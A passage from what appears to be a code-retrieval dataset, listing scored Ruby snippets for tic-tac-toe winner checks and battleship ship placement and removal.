elsif board[winner_arr_firstindex] == \"O\"\n return \"O\"\n end\n end\n\nend", "title": "" }, { "docid": "0ec269ee5551257ba2e9eef644848757", "score": "0.67500585", "text": "def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end", "title": "" }, { "docid": "ff3a334fdfd7e9e7bb61c68e92c7a239", "score": "0.6746284", "text": "def winner(board)\n win = won?(board)\n win = board[win[0]] if win != false\nend", "title": "" }, { "docid": "c182952020c1bc1ad96c07fa4ba603d3", "score": "0.674538", "text": "def winner(board)\n if won?board\n if board[won?(board)[0]] == \"X\"\n puts \"Congratulations X!\"\n return \"X\"\n elsif board[won?(board)[0]] == \"O\"\n puts \"Congratulations O!\"\n return \"O\"\n end # end if..else statement\n else !won?(board)\n nil ###this nil is returned outside the if..elsif statement, which is inside the if won?board statement\n end # end if won?board statement\nend", "title": "" }, { "docid": "52b5e697be70ba46c87691b3818eed4f", "score": "0.6739605", "text": "def play(board)\n while !over?(board)\n turn(board)\n end\n if token = winner(board)\n puts \"Congratulations #{token}!\"\n else\n puts \"Cats Game!\"\n end\nend", "title": "" }, { "docid": "26b8df030702b704c332688031f34a16", "score": "0.6738658", "text": "def check_winner\n if @guess == @secret_code\n @winner = true\n game_win\n end\n end", "title": "" }, { "docid": "b4ba95161f3c2f2956bf680e18e17b66", "score": "0.6723223", "text": "def winner\n if combo = won?\n winner = board.position(combo.first + 1)\n end\n winner\n end", "title": "" }, { "docid": "989d3d46b9f3a69b29b533fef231d255", "score": "0.67137146", "text": "def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n else\n nil\n end\nend", "title": "" }, { "docid": "99aa45b18d3d964c4d25ed76f9a7a14c", "score": "0.6707032", "text": "def winner(board)\r\n won?(board)\r\n if won?(board)\r\n board[won?(board)[0]]\r\n end\r\nend", "title": "" }, { "docid": "33477e3a96dcd5b3ca21cb2a7a2d62db", "score": "0.67017055", "text": "def winner(board)\n wincombo = won?(board)\n if wincombo === nil\n return nil\n elsif board[wincombo[0]] == \"X\"\n return \"X\"\n elsif board[wincombo[0]] == \"O\"\n return \"O\"\n end\nend", "title": "" }, { "docid": "66ede43cce0c28bb590d2e5aad28b960", "score": "0.6698641", "text": "def winning_move(board, token) # this method should return the index to be played\n winning_line = WIN_COMBOS.detect {|combo| tokens_in_line(board, combo).sort == [\" \", token, token]} #winning_line should be something like [2,5,8] or nil\n # find the first empty cell in the winning_line array\n if winning_line != nil\n winning_line.find do |index|\n board.cells[index.to_i] != token\n end\n end\n end", "title": "" }, { "docid": "eec94f24757085aabe9f6ec1b0aab5ec", "score": "0.66978294", "text": "def winner\n\t\tvictor = false\n\t\tvictor = \"Player1\" unless @board.on_board? player2.tokens[-1][0].position\n\t\tvictor = \"Player2\" unless @board.on_board? player1.tokens[-1][0].position\n\t\tvictor\n\tend", "title": "" }, { "docid": "e508291a1d59635b97ad757628b6628e", "score": "0.6687155", "text": "def winner\n win_combination = won?\n if win_combination == false\n nil\n elsif @board.cells[win_combination[0]] == \"X\"\n return \"X\"\n elsif @board.cells[win_combination[0]] == \"O\"\n return \"O\"\n end\n end", "title": "" }, { "docid": "8631651fa9d09a2e5128affe4b075252", "score": "0.6682685", "text": "def winner(board)\n if !won?(board) == false\n board[won?(board).first]\n end\nend", "title": "" }, { "docid": "e732a363f5a8a4f1e1d618fd826b50e7", "score": "0.6674623", "text": "def winner\n if winning_combo = won?\n @winner = @board.cells[winning_combo.first]\n end\n end", "title": "" }, { "docid": "6f9fd7a4121f796294f62c9b19073255", "score": "0.66745764", "text": "def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end", "title": "" }, { "docid": "b82bec39cbf9894d465d36955eadf7d2", "score": "0.66713905", "text": "def win_or_block(board, token)\n if token == self.token\n winning_combinations = find_available_combinations(board, self.token).select {|combo| (combo & find_moves_made(board, self.token)).count == 2 }\n winning_combination = winning_combinations.sample\n (winning_combination - find_moves_made(board, self.token)).first\n else\n winning_combinations = find_available_combinations(board, self.opponent.token).select {|combo| (combo & find_moves_made(board, self.opponent.token)).count == 2 }\n winning_combination = winning_combinations.sample\n (winning_combination - find_moves_made(board, self.opponent.token)).first\n end\n end", "title": "" }, { "docid": "a7d4f1811d1d5c450fb37a3083d5606c", "score": "0.66654384", "text": "def someone_won?(brd)\n !!detect_winner(brd)\n end", "title": "" }, { "docid": "3fc3df9f4d0406b7b6254ccfd5e77c8a", "score": "0.6653717", "text": "def winner?\n\t\t@winner\n\tend", "title": "" }, { "docid": "7398077b2f857ee7dc7d70bbfc93df48", "score": "0.66393197", "text": "def winner\n if check_rows_for_winner || check_columns_for_winner || check_diagonals_for_winner\n return @player\n else\n return nil\n end\n end", "title": "" }, { "docid": "e7ad9b9eaff8f5f7d783faeba10966c6", "score": "0.66386545", "text": "def winner\n if winning_combo = won?\n @board[winning_combo.first]\n end\n end", "title": "" }, { "docid": "3517d992984dbc59e3f79effab3f84c9", "score": "0.663692", "text": "def winner\n return @winner\n end", "title": "" }, { "docid": "d65b6fc274a6905693dbc46d3689534b", "score": "0.66369075", "text": "def has_winner?\n result = nil\n if @board.is_win?(1.0)\n result = @player_one\n elsif @board.is_win?(-1.0)\n result = @player_two\n end\n return result\n end", "title": "" }, { "docid": "059367bc03c98a9b409b85dc9f232d8c", "score": "0.6635095", "text": "def winner(board)\n won_board = won?(board)\n if(won_board.kind_of?(Array))\n board[won_board[0]]\n else\n nil\n end\nend", "title": "" }, { "docid": "059367bc03c98a9b409b85dc9f232d8c", "score": "0.6635095", "text": "def winner(board)\n won_board = won?(board)\n if(won_board.kind_of?(Array))\n board[won_board[0]]\n else\n nil\n end\nend", "title": "" }, { "docid": "7b09cc117cc606d8fffd4533ac0d48de", "score": "0.6630213", "text": "def winner(board)\n if won?(board)\n indexes = won?(board)\n return board[indexes[0]]\n else \n return nil \n end\nend", "title": "" }, { "docid": "4df4c26138dbfa7237016e3349d73e37", "score": "0.66270775", "text": "def winner\n store_person = winner_function\n store_combo = won?\n if store_combo == false\n return nil\n elsif store_person == \"X\"\n return \"X\"\n elsif store_person == \"O\"\n return \"O\"\n else\n return false\n end\n end", "title": "" }, { "docid": "343fde707f9b074b43976df0ed0dcc93", "score": "0.6612861", "text": "def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend", "title": "" }, { "docid": "343fde707f9b074b43976df0ed0dcc93", "score": "0.6612861", "text": "def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend", "title": "" }, { "docid": "c1cfe7593855c9fc6b50dc2d769815f2", "score": "0.6607554", "text": "def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end", "title": "" }, { "docid": "dc57d0b2c780aaff5c569a111dd6b381", "score": "0.660434", "text": "def winner(board)\n return board[won?(board)[0]] if won?(board)\nend", "title": "" }, { "docid": "1d3fb93232e8ccdfa54e1c69e0c8ee66", "score": "0.6593734", "text": "def winning_move\n win_combo = WIN_COMBINATIONS.find do |combo|\n (@board.cells[combo[0]] == @token && @board.cells[combo[1]] == @token && @board.cells[combo[2]] == \" \") || (@board.cells[combo[0]] == @token && @board.cells[combo[2]] == @token && @board.cells[combo[1]] == \" \") || (@board.cells[combo[1]] == @token && @board.cells[combo[2]] == @token && @board.cells[combo[0]] == \" \")\n end\n if win_combo != nil\n win_cell = win_combo.find do |spot|\n @board.cells[spot] == \" \"\n end\n end\n end", "title": "" }, { "docid": "e887196cb644c1b58b12d21b9146e059", "score": "0.65917224", "text": "def winner(board)\n result = won?(board)\n if result\n board[result[0]]\n end\nend", "title": "" } ]
ce15269e68b0840144bb0dcf2a835660
adds the ship to players ships and removes it from the unset
[ { "docid": "1b16ee9d4bac533257b328d9323c37de", "score": "0.6330168", "text": "def ship_ready(ship)\n ship_type = SHIP_SET.reverse[ship.size-1]\n @ships.push ship\n @ships_unset[ship_type] = @ships_unset[ship_type] - 1\n end", "title": "" } ]
[ { "docid": "79bc0bfc6b01c1590b601bc570e3f054", "score": "0.735337", "text": "def remove_ship\n if @fleet.empty?\n return press_enter { \"You haven't placed any ships! Press ENTER to continue.\" }\n end\n\n choice = preview(@fleet)\n if choice\n @ships_unplaced << choice\n @ships_unplaced = @ships_unplaced.sort_by do |ship_type|\n Ship.data[ship_type][:length]\n end\n end\n end", "title": "" }, { "docid": "e09449daa144460df93c5d0f432ff823", "score": "0.6828236", "text": "def remove_to_the_fleet(a_ship)\n ships.reject! { |ship| ship == a_ship }\n end", "title": "" }, { "docid": "67e250f450a3b0ac3ae1b15f5aea3be8", "score": "0.66605264", "text": "def revert(ship)\n board.mark_ship(ship.coords, :~)\n ship.coords.clear\n @ships_unplaced << ship.type\n @ships_unplaced.sort_by { |type, data| data[:length] }\n end", "title": "" }, { "docid": "a1a67e10cd9d3a1730f071c380f4591a", "score": "0.65534997", "text": "def add_ship(a_ship)\n res = [a_ship]\n set_ships(ships + res)\n end", "title": "" }, { "docid": "d0c0c172e4b74efa31ead841c3a91bbb", "score": "0.6459304", "text": "def sink_ship(tile, destroyed_ship)\n find_sunk_ship_spots(tile, destroyed_ship).each {|t| t.update(:sunk)}\n end", "title": "" }, { "docid": "f879e7a3a3768e523f6ff1e0270b8b39", "score": "0.63942367", "text": "def add_ship(ship)\n @ship = ship\n end", "title": "" }, { "docid": "63d72f3a35383d1133bcc27c4cc9f27b", "score": "0.63011694", "text": "def ships\n @ships ||= []\n end", "title": "" }, { "docid": "4eac45ed98b3175601edf47d5dee44f3", "score": "0.6247871", "text": "def save_ship_to_board(ship)\n # add '.unhit' chars for this ship to the fleet's new board\n # I'm trying to take the coordinates given and flip just the right '.' in @board\n ship.coords.each do |coord|\n row, col = coord\n self.board[row][col] = [ship.unhit, true] # \"true\" means it'll be highlighted\n end\n end", "title": "" }, { "docid": "1ed8e483d5962e71699d86225b868dcc", "score": "0.6224979", "text": "def populate_spaceship_one(game)\n\n\t\tgame.place_coords(1, 1)\n\t\tgame.place_coords(2, 2)\n\t\tgame.place_coords(2, 3)\n\t\tgame.place_coords(3, 1)\n\t\tgame.place_coords(3, 2)\n\tend", "title": "" }, { "docid": "e2ad3480424dea7152bd44c83accff4a", "score": "0.61992735", "text": "def place_ship(ship)\n # Check for intersection with existings ships\n coords = ship.coord_pairs\n if !coords.any? { |c| @board_data[c] }\n ship.being_placed = false\n @ship_data << ship\n coords.each { |c| @board_data[c] = ship }\n true\n else\n false\n end\n end", "title": "" }, { "docid": "b7e058f5162a01ea5efc8488a32dc453", "score": "0.61823857", "text": "def set_ship(ship)\n orientation = ((rand()>0.5)? :across : :down)\n x_range = (orientation == :across ? @width-ship : @width)\n y_range = (orientation == :down ? @height-ship : @height)\n new_ship = []\n valid = false\n while !valid\n valid = true\n new_ship=[rand(x_range), rand(y_range), ship, orientation]\n get_ship_points(new_ship).each { |xy| valid = false if @occupied[xy] }\n end\n #found new ship, add position to occupied\n get_ship_points(new_ship).each { |xy| @occupied[xy]=true }\n new_ship\n end", "title": "" }, { "docid": "52c78c996bd1776ae72beb349d8af910", "score": "0.61773854", "text": "def ship_it!\n shipment.update_attribute(:tracking, tracking)\n\n unless shipment.shipped?\n shipment.reload.ship!\n shipment.touch :shipped_at\n shipment.order.update!\n end\n\n true\n end", "title": "" }, { "docid": "f35b3354c94c712bbc183fc9162b0340", "score": "0.6170218", "text": "def remove_from_shipping_list\n\t\tOrderItem.where(id: params[:oi_id]).first.shipped\n\t\t@orders = Order.all.not_shipped.chronological.to_a\n\t\t# redirect_to home_path\n\tend", "title": "" }, { "docid": "a227585ab0ae79da644431f455881d2f", "score": "0.61340314", "text": "def destroy_ship coords = nil\n\t\tunless coords\n\t\t\t@map[@xcur][@ycur][:occupy] = nil\n\t\t\t@map[@xcur][@ycur][:sym] = \"[#{@map[@xcur][@ycur][:nat]}]\"\n\t\telse\n\t\t\t#@map[coords[:x]][coords[:y]][:sym] #= [coords[:x]][coords[:y]][:nat]\n\t\t\t@map[coords[:x]][coords[:y]][:occupy] = nil\n\t\t\tdraw_cursor\n\t\tend\n\tend", "title": "" }, { "docid": "a008c54b12f44206a7e517975abc2f2e", "score": "0.6121775", "text": "def place_ship ship\n\t\t@map[@xcur][@ycur][:sym] = ship.sym\n\t\t@map[@xcur][@ycur][:occupy] = ship\n\tend", "title": "" }, { "docid": "5fb96545ddc78138cd12be6a56f1e0fb", "score": "0.6120953", "text": "def add_ship(ship)\n @ship = ship\nend", "title": "" }, { "docid": "ded7d1364e312b34ac40ab4ee16c0f9e", "score": "0.6120578", "text": "def player_ships\n [\n @carrier,\n @battleship,\n @cruiser,\n @submarine,\n @destroyer\n ]\n end", "title": "" }, { "docid": "cc61d7957d958a7f536ebb74c9c93003", "score": "0.61001426", "text": "def destroy\n # Destroy all associated ship items\n ShipItem.where(:ship_id => @player_ship.id).delete_all\n \n @player_ship.destroy\n respond_to do |format|\n format.html { redirect_to player_ships_path, notice: 'Ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "26acb6aeb15bafad27e298c7a1f0785d", "score": "0.60988164", "text": "def ship\n fetch('the_expanse.ships')\n end", "title": "" }, { "docid": "2494b467c0783b6497fb1d75f9560caf", "score": "0.60799986", "text": "def set_player_ship\n @player_ship = PlayerShip.find(params[:id])\n end", "title": "" }, { "docid": "de6e6be67b478ffd5c55f665e2ba74c7", "score": "0.60632247", "text": "def addShip(playerN,coordinates)\n @players[playerN].map.addShip(coordinates)\n end", "title": "" }, { "docid": "f3c4a9fcb58f28281dde844f5c4b161f", "score": "0.6037031", "text": "def update\n respond_to do |format|\n \n #Temporarily store Ship ID\n @ps_ship = player_params[:ship]\n \n #Remove the :ship object from the player_params before writing\n params[:player].delete(:ship)\n \n if @player.update(player_params)\n if @ps_ship #Write the player <> ship association if populatd\n if PlayerShip.where(:player => @player).first\n @ps = PlayerShip.where(:player => @player).first\n @ps.attributes = {player: @player, ship: Ship.find(@ps_ship)}\n @ps.save\n else\n @ps = PlayerShip.new\n @ps.attributes = {player: @player, ship: Ship.find(@ps_ship)}\n @ps.save\n end\n end\n\n format.html { redirect_to @player, notice: 'Player was successfully updated.' }\n format.json { render :show, status: :ok, location: @player }\n else\n format.html { render :edit }\n format.json { render json: @player.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "412701ad3cbaaa32a9dfc7b2f84ee0e8", "score": "0.60339075", "text": "def place_ships(player, board)\r\n\r\n end", "title": "" }, { "docid": "8912c0660c577ed0f600c95c6857ca6c", "score": "0.60120237", "text": "def place_ship!(ship)\n begin\n old_ship_top_left_cell = ship.top_left_cell\n old_ship_orientation = ship.orientation\n ship.top_left_cell = self\n if old_ship_top_left_cell\n ship.cells(old_ship_orientation).each(&:reset!)\n ship.length.times do |index|\n if ship.orientation == :horizontal\n old_cell = grid.cell_rows[old_ship_top_left_cell.row_index][old_ship_top_left_cell.column_index + index]\n else\n old_cell = grid.cell_rows[old_ship_top_left_cell.row_index + index][old_ship_top_left_cell.column_index]\n end\n old_cell.reset!\n end\n end\n ship.length.times do |index|\n if ship.orientation == :horizontal\n cell = grid.cell_rows[row_index][column_index + index]\n else\n cell = grid.cell_rows[row_index + index][column_index]\n end\n cell.ship = ship\n cell.ship_index = index\n end\n rescue => e\n Glimmer::Config.logger.debug(e.full_message)\n end\n end", "title": "" }, { "docid": "6ac2cd8590f2450ed1748a88ed3e03c9", "score": "0.59648776", "text": "def place_ship ship\n traverse_ship ship do |x, y|\n if get_cell x, y\n raise CellOccupied, \"cannot place ship at #{x}, #{y}\"\n end\n end\n\n traverse_ship ship do |x, y|\n set_cell x, y, ship\n end\n\n ships << ship\n end", "title": "" }, { "docid": "7e2adce6f5fe7cf88837dbb14f4dabd1", "score": "0.59510857", "text": "def move_ship move, deduct = @ap_deduct\n\t\tmove = move_coords move\n\t\tnew_loc = @cursor.merge(move) {|key, v1, v2| v1 + v2}\n\t\tclear_cursor\n\t\t\n\t\t#move the ship's object\n\t\tship = @map[@xcur][@ycur][:occupy]\n\t\t\n\t\tdestroy_ship\n\t\tmove_cursor move\n\t\tplace_ship ship\n\t\t@map[@xcur][@ycur][:occupy].stats[:ap] -= 1 if deduct\n\tend", "title": "" }, { "docid": "90ba154eccc6264f35586e8f140263a4", "score": "0.59304386", "text": "def place_ship(ship)\n @ship = ship\n end", "title": "" }, { "docid": "a3735549f096ab5acfb00b1ad1f93d19", "score": "0.59104013", "text": "def remove_quip(quip)\n self.quips = (quips - Array(quip)) if quips.include?(quip)\n end", "title": "" }, { "docid": "85d3e2a47b7758801531f3a1bc5d1c78", "score": "0.58545613", "text": "def ship(ship_id)\n @ships[ship_id]\n end", "title": "" }, { "docid": "f03d9a18cde44d1390e7632d043a0ca0", "score": "0.5840206", "text": "def player_ship_at_pos\n ships_at_pos(@player_ships)\n end", "title": "" }, { "docid": "007e6b8a64319e6f27f0d557d84f5360", "score": "0.58195496", "text": "def unequip\n @ship_item = ShipItem.find(params[:id])\n if ( current_ship_items_item_unequipped(@ship_item.item_id) != nil )\n current_ship_items_item_unequipped(@ship_item.item_id).update_attribute(:quantity, current_ship_items_item_unequipped(@ship_item.item_id).quantity+1)\n @ship_item.destroy\n \n respond_to do |format|\n flash[:notice] = 'Unequipped '+ Item.find(@ship_item.item_id).name\n format.html { redirect_to(current_ship) }\n format.xml { render :xml => @ship_item }\n end\n else\n @ship_item.update_attribute(:equiped, false)\n \n respond_to do |format|\n flash[:notice] = 'Unequipped '+ Item.find(@ship_item.item_id).name\n format.html { redirect_to(current_ship) }\n format.xml { render :xml => @ship_item }\n end\n end\n end", "title": "" }, { "docid": "b719511c968e49856961a5357d9190c2", "score": "0.5813935", "text": "def ship\n @store_id = params[:store_id]\n @store = Store.find(@store_id)\n if @store.nil?\n flash[:error] = \"Store not found\"\n return redirect_to account_path, :status => 404\n end\n @order = Spree::Order.find_by_number(params[:id])\n if @order.nil?\n flash[:error] = \"Order not found\"\n return redirect_to main_app.merchant_store_orders_path(@store), :status => 404\n end\n @orders_store = @store.orders_stores.find_by_order_id(@order.id)\n if @orders_store.nil?\n flash[:error] = \"The orders store could not be found\"\n return redirect_to edit_merchant_store_order_path(@store, @order), :status => 404\n end\n @shipment = Spree::Shipment.find(params[:shipment][:id])\n if @shipment.nil?\n flash[:error] = \"Shipment not found\"\n return redirect_to edit_merchant_store_order_path(@store, @order), :status => 404\n end\n \n if !params[:inventory_units].nil?\n if params[:shipment][:vendor_shipping_method].blank? or params[:shipment][:tracking].blank?\n flash[:error] = \"You must add a shipping method and tracking number to claim the items as shipped\"\n return render :edit\n end\n @shipment.vendor_shipping_method = params[:shipment][:vendor_shipping_method]\n @shipment.tracking = params[:shipment][:tracking]\n puts \"**** shipping shipment #{@shipment.id}\"\n \n shipped_ids = params[:inventory_units].collect {|values| values[0]}.delete_if {|value| value.nil? } # get the key\n \n unshipped_units = @shipment.inventory_units.not_shipped.where('inventory_units.id NOT IN (?)', shipped_ids)\n if !unshipped_units.empty?\n # now having @order.shipments create the new shipment, so that it is already attached to @order\n # previously it was just making it in the either and not having it get attached\n @new_shipment = @order.shipments.new(\n :shipping_method_id => Spree::Config[:second_shipment_method_id],\n :address_id => @shipment.address_id,\n :store_id => @store.id,\n :state => 'ready')\n @new_shipment.save(:validate => false)\n #@shipment.update_attribute_without_callbacks \"state\", \"shipped\"\n unshipped_units.limit(unshipped_units.count).update_all(shipment_id: @new_shipment.id)\n end\n \n @shipment.inventory_units.reload\n @shipment.ship!\n flash.notice = t('shipment_updated')\n else\n if @shipment.ready? and @shipment.inventory_units.not_shipped.not_canceled.count == 0\n @shipment.update_attributes_without_callbacks :state => 'shipped', :shipped_at => DateTime.now\n end\n @orders_store.shipped\n end\n redirect_to :action => :edit, :store_id => @store, :id => @order\n end", "title": "" }, { "docid": "adeef6d3c6f0b48e2e8bc208b38ed1f1", "score": "0.5807697", "text": "def set_shipped\n\t\tself.mws_order_items.each do |i|\n\t\t\ti.set_shipped\n\t\tend\n\tend", "title": "" }, { "docid": "23a956dd06d1aac2fa58254db4c3c922", "score": "0.58057106", "text": "def remove_quit_players\n\t\t\tself.players.reject! {|p| p.has_quit }\n\t\t\t# update seat numbers\n\t\t\tself.players.each_with_index do |p, i|\n\t\t\t\tp.seat = i\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "203334609100f6cc9f28e4a07bff4102", "score": "0.5803131", "text": "def ship(params=nil)\n self.class.ship(id, params)\n end", "title": "" }, { "docid": "fe7f248781e2e4390769c805e03f0f37", "score": "0.5803081", "text": "def player_add_list\n Player.find(:all).delete_if {|player| players.include? player }\n end", "title": "" }, { "docid": "478eebb2fa9df328cb2765a2d6c20f90", "score": "0.5798773", "text": "def player_add_list\n Player.all.delete_if {|player| players.include? player }\n end", "title": "" }, { "docid": "f0ef59c1dad8e86e6d6785ef3eb1c322", "score": "0.57961416", "text": "def add_ship(ship)\n Utils::Calculator.ship_coordinates(ship).each do |coordinate|\n raise Game::Exceptions::CoordinatesOutOfGrid unless includes?(coordinate)\n raise Game::Exceptions::CoordinatesAlreadyTaken if ship?(coordinate)\n end\n\n @ships << ship\n end", "title": "" }, { "docid": "e3f0a41b77009b31f54faec0dcc2c01e", "score": "0.57896584", "text": "def reset_positions\n self.positions = Battleship.expand_pos(\n :position => self.positions.first,\n :length => self.ship.length, #extra query here..\n :orientation => self.orientation\n )\n end", "title": "" }, { "docid": "866a9083d409c74bbeab20a20a673309", "score": "0.57753205", "text": "def set_team_player_ship\n @team_player_ship = TeamPlayerShip.find(params[:id])\n end", "title": "" }, { "docid": "454dabd258a8d5dd46148f2ee4859628", "score": "0.57740283", "text": "def add_ship(ship) \n x_coor = ship.start_position.column\n y_coor = ship.start_position.row\n\n case ship.orientation \n \n when \"Left\"\n end_coor = x_coor - ship.size\n if end_coor < 0 then return false end \n while x_coor > end_coor \n if @gameboard [x_coor][y_coor][0] == \"B\" then return false end\n @gameboard [x_coor][y_coor][0] = \"B\"\n x_coor -= 1\n end \n when \"Right\"\n end_coor = x_coor + ship.size\n if end_coor >= @max_column then return false end \n while x_coor < end_coor \n if @gameboard [x_coor][y_coor][0] == \"B\" then return false end \n @gameboard [x_coor][y_coor][0] = \"B\"\n x_coor += 1\n end \n when \"Up\"\n end_coor = y_coor + ship.size\n if end_coor >= @max_row then return false end \n while y_coor < end_coor \n if @gameboard [x_coor][y_coor][0] == \"B\" then return false end \n @gameboard [x_coor][y_coor][0] = \"B\"\n y_coor += 1\n end \n when \"Down\"\n end_coor = y_coor - ship.size\n if end_coor < 0 then return false end \n while y_coor > end_coor \n if @gameboard [x_coor][y_coor][0] == \"B\" then return false end \n @gameboard [x_coor][y_coor][0] = \"B\"\n y_coor -= 1\n end \n else \n return false\n end\n return true\n puts \"END\"\n \n end", "title": "" }, { "docid": "a8ba3d5b6faa70d09da9d095584898b6", "score": "0.5770201", "text": "def merge_fleet(fleet) \n unless fleet.is_a?(Fleet)\n raise RuntimeError, \"The Input is not valid (invalid amount or wrong objects), ships cannot be added\"\n end\n\n # add ressources to self\n self.ore += fleet.ore\n self.credit += fleet.credit\n self.crystal += fleet.crystal\n\n ship_hash = fleet.get_ships\n self.add_ships(ship_hash)\n fleet.destroy\n self.update_values\n end", "title": "" }, { "docid": "9cd0361b7838acf7a4e1f5e110d21d33", "score": "0.57553434", "text": "def update(game, num_ships, num_dropoffs, halite)\n @halite_amount = halite\n\n @ships = {}\n num_ships.times do\n ship = Ship.generate(game, @id)\n @ships[ship.id] = ship\n end\n\n @dropoffs = {}\n num_dropoffs.times do\n dropoff = Dropoff.generate(game, @id)\n @dropoffs[dropoff.id] = dropoff\n end\n end", "title": "" }, { "docid": "d63bb78a94cbb23afb8357863614202d", "score": "0.57206804", "text": "def place_ship\n print \"Time to place your ships! You will 4 ships total.\\n\"\n @temp_coordinates = Array.new\n @ship = Ship.new\n\n while @player.ship_count < 4\n puts \"Place a [V]erticle or [H]orizontal ship? :\"\n vh = gets.strip.upcase\n\n if vh == \"H\"\n puts \"Enter the center coordinate for your ship :\"\n get_coordinate()\n if horizontal_coordinates_available(@coordinate, @player_board)\n @temp_coordinates = [@x+ ((@y-1).to_s), @coordinate, @x+ ((@y+1).to_s)]\n else\n print \"That coordinate is taken, please select another coordinate. \"\n place_ship()\n end\n\n elsif vh == \"V\"\n puts \"Enter the center coordinate for your ship :\"\n get_coordinate()\n if vertical_coordinates_available(@coordinate, @player_board)\n @temp_coordinates = [((@x.next).to_s)+ @y.to_s, @coordinate, (@x.chr.ord-1).chr + @y.to_s]\n else\n print \"That coordinate is taken, please select another coordinate. \"\n place_ship()\n end\n\n else\n puts \"Not a valid option\"\n place_ship()\n end\n\n @temp_coordinates.each do |coordinate|\n @player_board.coordinates.each do |space|\n if (space.xy == coordinate)\n space.has_ship = 1\n @ship.coordinates.push(space)\n end\n end\n end\n @player.add_ship(@ship)\n draw_board(@player_board)\n @player.ship_count += 1\n end\n end", "title": "" }, { "docid": "166120ea39c3930680937b11c2d1ffb0", "score": "0.5697846", "text": "def ships\n\t\tputs \"\\n-- Your Ship \".ljust(30,\"-\")\n\t\tself.player.ship.report_status\n\t\tputs \"\\n-- Enemy Ship \".ljust(30,\"-\")\n\t\tself.ai.ship.report_status\n\t\tputs\n\tend", "title": "" }, { "docid": "3e88ac3c9faf7b417c3e08c3f3933ee4", "score": "0.56787145", "text": "def after_ship\n # Begin modified code\n inventory_units.each do |iu|\n iu.ship! if iu.can_ship?\n end\n # End modified code\n\n send_shipped_email\n touch :shipped_at\n end", "title": "" }, { "docid": "77408ea1bc0d3c1d9c277f32d98a39e4", "score": "0.567563", "text": "def add_ship\n ship = []\n make_ship(ship)\n # ship_parts = 0\n # while ship_parts < 5\n ship.each do |i|\n y = i[0]\n x = i[1]\n # ship_parts += 1\n @ship_board[x][y] = 5\n end\n # end\n # puts ship_parts\n end", "title": "" }, { "docid": "d2928134116ed16c9fe9eb977ab06c62", "score": "0.567101", "text": "def remove_players\n to_remove = []\n players.each do |player|\n if player.out?\n to_remove << player\n end\n end\n to_remove.each { |player| players.delete(player) }\n if players.length == 1\n self.is_game_over = true\n end\n end", "title": "" }, { "docid": "4ac08760cd0f99b144b7ecbbdaef6155", "score": "0.56708163", "text": "def place_player_ships\n\n @player_board.render(true)\n\n puts \"Enter the squares for the Cruiser (3 space):\"\n cruiser_squares = gets.chomp.split\n\n valid_cruiser = false\n while valid_cruiser == false\n # require \"pry\"; binding.pry\n if player_board.valid_placement?(@player_cruiser, cruiser_squares)\n player_board.place(@player_cruiser, cruiser_squares)\n valid_cruiser = true\n else\n puts \"Those are invalid coordinates. Please try again:\"\n cruiser_squares = gets.chomp.split\n end\n end\n\n puts \"Enter the squares for the Submarine (2 spaces):\"\n submarine_squares = gets.chomp.split\n\n valid_submarine = false\n while valid_submarine == false\n # submarine = Ship.new(\"submarine\", 2)\n # require \"pry\"; binding.pry\n if player_board.valid_placement?(@player_sub, submarine_squares)\n player_board.place(@player_sub, submarine_squares)\n valid_submarine = true\n else\n puts \"Those are invalid coordinates. Please try again:\"\n submarine_squares = gets.chomp.split\n end\n end\n end", "title": "" }, { "docid": "d2ceba83c0f75f652f5fad18f2accf6b", "score": "0.5646769", "text": "def kill_ships_at_position(*xyship)\n\t\t\t# define the Arguments passed\n\t\t\tshipx, shipy = xyship[0], xyship[1]\n\t\t\tship = xyship[2]\n\t\t\t# if the ships x means it touches the asteroids x at the same time as the y's, with extensions...\n\t\t\tif shipx and ((shipx >= (@x-40) and shipx <= (@x+20)) and ((shipy <= (@y+17)) and (shipy >= (@y - 50))))\n\t\t\t\tself.explode!\n\t\t\t\tship.explode!\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "1a0b44542c731870b94cc2252374be6e", "score": "0.5642939", "text": "def destroy\n @team_player_ship.destroy\n respond_to do |format|\n format.html { redirect_to team_player_ships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f065c180c634391f0c37322548ace051", "score": "0.56372803", "text": "def confirm_remove\n this_or_that(\"Confirm\", \"Remove Ship\") do\n puts \"\\n| #{@fleet.map { |ship| ship.type}.join( \" | \")} |\"\n board.render_grid(\"#{self.name}'s Fleet\")\n puts \"\\n\" << \" \" * 14 << \"Confirm placement of these ships?\"\n end\n end", "title": "" }, { "docid": "a44ca77b60b9c54817129a81482ecc0b", "score": "0.56210923", "text": "def set_ship\n @ship = Ship.find(params[:id])\n end", "title": "" }, { "docid": "a44ca77b60b9c54817129a81482ecc0b", "score": "0.56210923", "text": "def set_ship\n @ship = Ship.find(params[:id])\n end", "title": "" }, { "docid": "8fab85830e6b075ca894b195f6765b9e", "score": "0.5611294", "text": "def mark_as_shipped\n self.shipped_at = Time.now\n end", "title": "" }, { "docid": "59c3feb60e3732324079826b8e0cfd72", "score": "0.56020105", "text": "def setup_ship(ship, cell, direction)\r\n ship.size.times do |i|\r\n @m[cell.first, cell.last] = :ship\r\n ship[i] = cell\r\n cell = cell.go direction\r\n end\r\n @ships << ship\r\n end", "title": "" }, { "docid": "312dd2b8684838a1d8437a149d9a122c", "score": "0.55998236", "text": "def hit(coordinate)\n self.enemy.ships.each do |ship| \n ship.location.delete(coordinate) if ship.location.include?(coordinate)\n end\n end", "title": "" }, { 